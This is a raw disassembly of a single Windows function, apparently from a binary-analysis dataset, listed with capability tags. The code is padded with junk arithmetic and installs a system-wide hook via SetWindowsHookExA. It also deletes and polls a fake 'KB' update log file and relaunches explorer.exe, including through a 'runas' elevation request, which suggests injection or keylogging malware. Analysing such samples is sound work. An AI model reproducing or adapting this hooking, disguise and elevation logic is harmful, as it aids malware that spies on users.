Function at 0x412090
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00430500
mov eax, dword [0x45e640]
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov ecx, dword [0x45cccc]
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1e9f4e3
imul dword [0x45ccd4]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [0x45ccd4]
mov edx, ecx
imul edx, edx, 0x84dd7
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x9baa0995
imul dword [0x45ccd4]
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x9baa0995
imul ecx
mov esi, dword [0x45cce8]
mov edi, esi
imul edi, edi, 0x8a702
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
add eax, edi
mov dword [esp + 0xc], edi
mov edi, dword [0x45ccdc]
mov ebx, edi
imul ebx, ebx, 0x8276a
add eax, edx
add ebx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], ebx
je 0x41220f
mov ecx, dword [0x45ccd8]
mov eax, 0x10449d67
imul ecx
imul ecx, ecx, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov esi, eax
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9baa0995
imul edi
mov eax, dword [0x45cce4]
add esi, ecx
add edx, edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0x8276a
sub esi, ecx
add esi, edx
sub esi, eax
mov eax, dword [esp + 0xc]
lea ecx, [esi + eax - 0x3ef21]
mov dword [0x45ccd0], ecx
mov esi, 0x64
mov edi, edi
push 0x3e8
call edi
dec esi
jne 0x4121f0
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fcc1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd0]
imul edi, edi, 0x3ef21
lea eax, [edx + ecx]
imul eax, eax, 0x6dec5
add eax, edi
mov edi, eax
mov eax, 0x1e9f4e3
imul dword [0x45cce4]
sar edx, 0xc
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0xc], eax
mov eax, 0x9baa0995
imul dword [0x45cce4]
add edx, dword [0x45cce4]
mov eax, dword [esp + 0xc]
sar edx, 0x13
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x3ecaa423
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0xa0dd9
sub edi, eax
mov eax, dword [section.dfsaewr4]
add edi, edx
test eax, eax
mov dword [0x45ccdc], edi
je 0x412325
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x3da8152f
imul ecx
mov eax, dword [0x45cce0]
imul eax, eax, 0x1c83d
sar edx, 0x11
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x3ecaa423
imul dword [0x45cce4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45ccc8], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042fcc1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd8]
add ebx, edx
mov eax, 0x69f239fb
imul ebx, ebx, 0x8276a
imul edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul edi
sar edx, 0xc
add ebx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x85c24
shr eax, 0x1f
add eax, ebx
add edx, dword [0x45cce0]
mov ebx, edi
imul ebx, ebx, 0x84dd7
add edx, eax
lea ebx, [ebx + edx - 0x3ef21]
mov dword [0x45ccd4], ebx
mov eax, dword [0x45ccd0]
imul edi, edi, 0x3ef21
add eax, esi
imul eax, eax, 0x54963
sub eax, edi
mov dword [esp + 0xc], eax
mov eax, 0x950cb67f
imul esi
mov eax, dword [esp + 0xc]
add edx, esi
sar edx, 0x12
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x60d8eff
imul ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45ccd8]
mov edx, ebx
imul eax, eax, 0xa0dd9
imul edx, edx, 0x8a702
sub edi, edx
add edi, eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x45cce0], edi
jg 0x412537
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x412537
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412401
sub eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
je 0x412537
mov eax, dword [0x45cce4]
imul edi, edi, 0x84dd7
imul esi, esi, 0x8a702
imul eax, eax, 0x3ef21
mov dword [esp + 0xc], eax
mov eax, 0x69f239fb
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0x10
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x1e9f4e3
imul ebx
sar edx, 0xc
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
add eax, edi
mov ecx, eax
mov eax, 0x3ecaa423
imul ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ecx, edx
mov edx, dword [ebp + 0x14]
add eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, esi
sub eax, ecx
push edx
add eax, 0x54963
push 0
mov dword [0x45cccc], eax
call fcn.0040f040
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x4130ab
mov eax, dword [0x45ccc8]
mov ebx, dword [0x45ccd4]
mov ecx, dword [0x45ccd8]
lea esi, [eax + ebx]
mov eax, 0x950cb67f
imul esi, esi, 0x26a94
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add esi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
add esi, edx
mov edi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sar edx, 0x13
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add edi, esi
mov esi, dword [0x45cce8]
add eax, edx
sub edi, eax
mov dword [0x45cce4], edi
jmp 0x4125bb
mov edi, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov eax, dword [0x45cce4]
imul eax, eax, 0x3ef21
lea esi, [edx + edi]
imul edi, edi, 0x85c24
imul esi, esi, 0x84dd7
sub esi, eax
mov eax, 0x69f239fb
imul dword [0x45ccc8]
sar edx, 0x10
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0xc], eax
mov eax, 0x1e9f4e3
imul dword [0x45ccc8]
mov eax, dword [esp + 0xc]
sar edx, 0xc
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0xcbb2b9d
imul dword [str._r_____r____]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp + 0x10]
sub esi, edi
sub esi, eax
mov dword [0x45cce8], esi
mov dword [esp + 0x10], edx
mov eax, 0x950cb67f
imul esi, esi, 0x8a702
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1e9f4e3
imul ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
sub eax, edi
add eax, edx
mov edi, eax
mov eax, 0x9baa0995
imul ebx
add edx, ebx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9baa0995
imul ecx
mov eax, dword [0x45ccdc]
add edx, ecx
imul eax, eax, 0x8276a
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, eax
add ecx, esi
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x3ef21
mov eax, 0x10449d67
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x3da8152f
imul ecx
sar edx, 0x11
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr esi, 0x1f
add esi, edi
add esi, edx
mov edx, dword [0x45cce4]
mov eax, 0x3ecaa423
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xcbb2b9d
imul ecx
sar edx, 0xf
mov ecx, edx
add esi, edx
mov edx, dword [esp + 0x10]
shr ecx, 0x1f
add ecx, esi
mov dword [0x45ccc8], ecx
mov eax, dword [0x5707ec]
mov ecx, dword [ebp + 0xc]
push edx
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x413143
mov esi, dword [0x45ccd8]
mov eax, 0x10449d67
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd0]
mov ecx, eax
mov edi, dword [0x45ccdc]
mov eax, 0x60d8eff
imul edx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0xd2812
mov ebx, dword [0x45ccc8]
add ecx, edx
mov eax, 0x9baa0995
imul edi
add edx, edi
mov edi, dword [0x45cce8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, ebx
imul edx, edx, 0x8276a
mov eax, edi
imul eax, eax, 0x8a702
add ecx, edx
mov edx, dword [0x45cce4]
add ecx, eax
sub ecx, edx
sub ecx, 0x3ef21
mov dword [0x5707f0], 1
mov dword [esp + 0x10], 0
jmp 0x412790
mov edi, dword [0x45cce8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov ebx, dword [0x45ccc8]
nop
mov eax, 0x10449d67
imul ebx, ebx, 0x8276a
imul edi, edi, 0x8a702
imul esi
imul esi, esi, 0xd2812
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x60d8eff
imul ecx
mov eax, dword [esp + 0xc]
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, dword [0x45ccdc]
add eax, esi
mov dword [esp + 0xc], eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
mov ecx, dword [esp + 0xc]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, ebx
add ecx, edi
sub ecx, dword [0x45cce4]
sub ecx, 0x3ef21
push str.c:WINDoWSKB5445243.log
mov dword [0x45ccd0], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x412835
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x412777
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x85c24
mov edi, esi
imul edi, edi, 0x3ef21
mov edx, ecx
imul edx, edx, 0x26a94
sub ebx, edi
mov edi, dword [0x45ccd4]
add ebx, edx
add ebx, eax
mov eax, 0x1e9f4e3
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x76595943
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45ccd8], eax
cmp dword [esp + 0x10], 0x12c
jl 0x4131d7
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4131d7
mov edi, dword [0x45cccc]
imul ecx, ecx, 0xa0dd9
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
mov esi, dword [0x45cce4]
imul eax, eax, 0x3ef21
lea ebx, [edx + edi]
imul ebx, ebx, 0x6dec5
add ebx, eax
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov esi, edx
add ebx, edx
mov eax, 0x3ecaa423
imul edi
sar edx, 0x11
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [0x45ccdc], esi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
lea esi, [edx + ecx]
imul eax, eax, 0x3ef21
imul esi, esi, 0x54963
sub esi, eax
mov eax, 0x950cb67f
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sar edx, 0x12
mov edi, edx
add esi, edx
mov eax, 0x60d8eff
imul ecx
mov eax, dword [0x45ccd8]
sar edx, 0xd
imul eax, eax, 0xa0dd9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccd4]
imul edx, edx, 0x8a702
shr edi, 0x1f
add edi, esi
sub edi, ecx
lea ecx, [esp + 0x70]
push ecx
sub edi, edx
lea edx, [esp + 0x874]
add edi, eax
push str._sexplorer.exe
push edx
mov dword [0x45cce0], edi
call fcn.0042fe91
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.0043022d
add esp, 0x14
cmp eax, 0xffffffff
je 0x413021
mov ecx, dword [0x45ccd4]
mov edx, dword [0x45ccc8]
lea esi, [edx + ecx]
mov ecx, dword [0x45ccd8]
imul esi, esi, 0x26a94
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add esi, edx
mov eax, 0x60d8eff
imul ecx
mov ecx, dword [0x45cce4]
sar edx, 0xd
mov edi, edx
add esi, edx
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
push str.explorer.exe
mov dword [0x45cce4], edi
call fcn.00406440
mov esi, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
mov edx, dword [0x45cce4]
lea edi, [ecx + esi]
imul edx, edx, 0x3ef21
imul esi, esi, 0x85c24
mov ecx, dword [0x45ccc8]
imul edi, edi, 0x84dd7
sub edi, edx
mov eax, 0x69f239fb
imul ecx
sar edx, 0x10
add edi, edx
mov ebx, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov ecx, edx
mov edx, dword [str._r_____r____]
mov eax, 0xcbb2b9d
imul edx
sar edx, 0xf
shr ecx, 0x1f
mov eax, edx
add ecx, ebx
shr eax, 0x1f
sub ecx, esi
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x45cce8], ecx
mov dword [esp + 0x10], 5
jmp 0x412b20
mov ecx, dword [0x45cce8]
jmp 0x412b20
mov esi, dword [0x45cccc]
imul ecx, ecx, 0x8a702
mov edi, dword [0x45ccd4]
mov eax, 0x950cb67f
imul esi
add edx, esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1e9f4e3
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov edx, esi
imul edx, edx, 0x84dd7
add eax, edx
mov ebx, eax
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr eax, 0x1f
add eax, ebx
add eax, edx
add eax, ecx
push str.explorer.exe
mov dword [str._r_____r____], eax
call fcn.00405e30
add esp, 4
test eax, eax
jg 0x412f86
mov ebx, dword [0x45ccd0]
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x3ef21
mov eax, 0x10449d67
imul ebx
sar edx, 0xe
add ecx, edx
mov esi, edx
mov eax, 0x3da8152f
imul ebx
sar edx, 0x11
shr esi, 0x1f
add esi, ecx
add esi, edx
mov ecx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1c83d
shr ecx, 0x1f
add ecx, esi
add ecx, edx
mov eax, 0x3ecaa423
imul dword [0x45cce4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xcbb2b9d
imul ebx
xor eax, eax
sar edx, 0xf
add ecx, edx
mov esi, edx
mov edx, dword [0x45cccc]
shr esi, 0x1f
add esi, ecx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov edi, dword [0x45cce4]
imul edi, edi, 0x3ef21
mov eax, 0x69f239fb
imul edx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0xc], eax
mov eax, 0x1e9f4e3
imul dword [0x45ccd4]
mov eax, dword [esp + 0xc]
sar edx, 0xc
add eax, edx
mov ecx, dword [0x45cce8]
mov edi, edx
imul ecx, ecx, 0x8a702
shr edi, 0x1f
add edi, eax
mov eax, dword [0x45cce0]
imul eax, eax, 0x84dd7
add edi, eax
mov eax, 0x3ecaa423
imul dword [0x45ccd4]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
sub eax, edi
mov edi, dword [0x45ccd8]
add eax, 0x54963
mov dword [0x45cccc], eax
mov eax, 0x10449d67
mov dword [0x45ccc8], esi
imul edi
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sar edx, 0xe
imul edi, edi, 0xd2812
imul esi, esi, 0x8276a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x60d8eff
imul ebx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
add edx, edi
mov edi, dword [0x45ccdc]
mov dword [esp + 0xc], edx
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, dword [0x45cce4]
add edx, esi
sub edx, eax
lea ecx, [edx + ecx - 0x3ef21]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x45ccd0], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, 0x69f239fb
je 0x412de9
mov esi, dword [0x45ccdc]
mov edi, dword [str._r_____r____]
imul esi
mov ecx, dword [0x45ccd8]
lea ebx, [ecx + edi]
imul edi, edi, 0x85c24
imul ebx, ebx, 0x8276a
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1e9f4e3
imul esi
imul esi, esi, 0x84dd7
sar edx, 0xc
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
add edi, dword [0x45cce0]
add edi, eax
lea edx, [esi + edi - 0x3ef21]
mov dword [0x45ccd4], edx
jmp 0x412f8c
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
imul ecx
imul ecx, ecx, 0x26a94
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edi, esi
imul edi, edi, 0x3ef21
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x85c24
add ebx, ecx
mov ecx, dword [0x45ccd4]
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x76595943
imul esi
push 1
sub ebx, ecx
sar edx, 0x12
lea ecx, [esp + 0x74]
push ecx
mov eax, edx
add ebx, edx
push 0
lea edx, [esp + 0x87c]
push edx
shr eax, 0x1f
push str.runas
add eax, ebx
push 0
mov dword [0x45ccd8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x412f10
mov ecx, dword [0x45cccc]
mov eax, dword [0x45ccd0]
mov edx, dword [0x45ccdc]
mov esi, dword [0x45cce4]
imul edx, edx, 0x3ef21
lea edi, [eax + ecx]
imul edi, edi, 0x6dec5
add edi, edx
mov eax, 0x1e9f4e3
imul esi
sar edx, 0xc
add edi, edx
mov ebx, edx
mov eax, 0x9baa0995
imul esi
add edx, esi
shr ebx, 0x1f
add ebx, edi
sar edx, 0x13
add ebx, edx
mov edi, edx
mov eax, 0x3ecaa423
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0x11
imul ecx, ecx, 0xa0dd9
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, ebx
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45ccd8]
mov dword [0x45ccdc], edi
jmp 0x412f92
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccdc]
lea esi, [edx + ecx]
imul eax, eax, 0x3ef21
imul esi, esi, 0x54963
sub esi, eax
mov eax, 0x950cb67f
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sar edx, 0x12
add esi, edx
mov edi, edx
mov eax, 0x60d8eff
imul ecx
sar edx, 0xd
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccd4]
add edi, esi
imul edx, edx, 0x8a702
sub edi, ecx
mov ecx, dword [0x45ccd8]
mov eax, ecx
imul eax, eax, 0xa0dd9
sub edi, edx
add edi, eax
mov dword [0x45cce0], edi
jmp 0x412f8c
mov ecx, dword [0x45ccd8]
mov esi, dword [0x45cce4]
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
lea edi, [edx + eax]
mov eax, 0x950cb67f
imul edi, edi, 0x26a94
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x85c24
add edi, edx
mov eax, 0x60d8eff
imul ecx
sar edx, 0xd
mov ecx, edx
add edi, edx
mov eax, 0x9baa0995
imul esi
add edx, esi
sar edx, 0x13
mov eax, edx
shr ecx, 0x1f
shr eax, 0x1f
add ecx, edi
add eax, edx
sub ecx, eax
push 0x3e8
mov dword [0x45cce4], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x412b15
mov edx, dword [0x45ccd8]
mov ecx, dword [0x45ccd0]
mov eax, dword [0x45cce4]
mov esi, dword [0x45ccc8]
imul eax, eax, 0x3ef21
lea edi, [edx + ecx]
imul ecx, ecx, 0x85c24
imul edi, edi, 0x84dd7
sub edi, eax
mov eax, 0x69f239fb
imul esi
sar edx, 0x10
add edi, edx
mov ebx, edx
mov eax, 0x1e9f4e3
imul esi
shr ebx, 0x1f
sar edx, 0xc
add ebx, edi
mov edi, dword [0x45ccdc]
add ebx, edx
mov esi, edx
mov eax, 0xcbb2b9d
imul dword [str._r_____r____]
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45ccd4]
sub esi, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45cccc]
mov dword [0x45cce8], esi
jmp 0x412382
mov ecx, dword [0x45cce0]
mov esi, dword [0x45cce8]
mov eax, 0x69f239fb
imul ecx
imul ecx, ecx, 0x26a94
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov edi, esi
imul edi, edi, 0x3ef21
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x45ccc8]
imul ecx, ecx, 0x85c24
add ebx, ecx
mov ecx, dword [0x45ccd4]
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x3da8152f
imul esi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x76595943
imul esi
sar edx, 0x12
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x45ccd8], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fcc1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
mov esi, dword [0x45cce4]
imul esi, esi, 0x3ef21
mov eax, 0x69f239fb
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x1e9f4e3
imul ecx
sar edx, 0xc
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x84dd7
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x3ecaa423
imul ecx
mov ecx, dword [0x45cce8]
imul ecx, ecx, 0x8a702
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, ecx
sub eax, edx
add eax, 0x54963
mov dword [0x45cccc], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fcc1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
imul esi, esi, 0x8a702
mov eax, 0x950cb67f
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1e9f4e3
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x84dd7
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x9baa0995
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9baa0995
imul ecx
add edx, ecx
sar edx, 0x13
add ebx, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x8276a
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, esi
mov dword [str._r_____r____], ecx
mov ecx, dword [esp + 0x1074]
mov eax, 1
call fcn.0042fcc1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret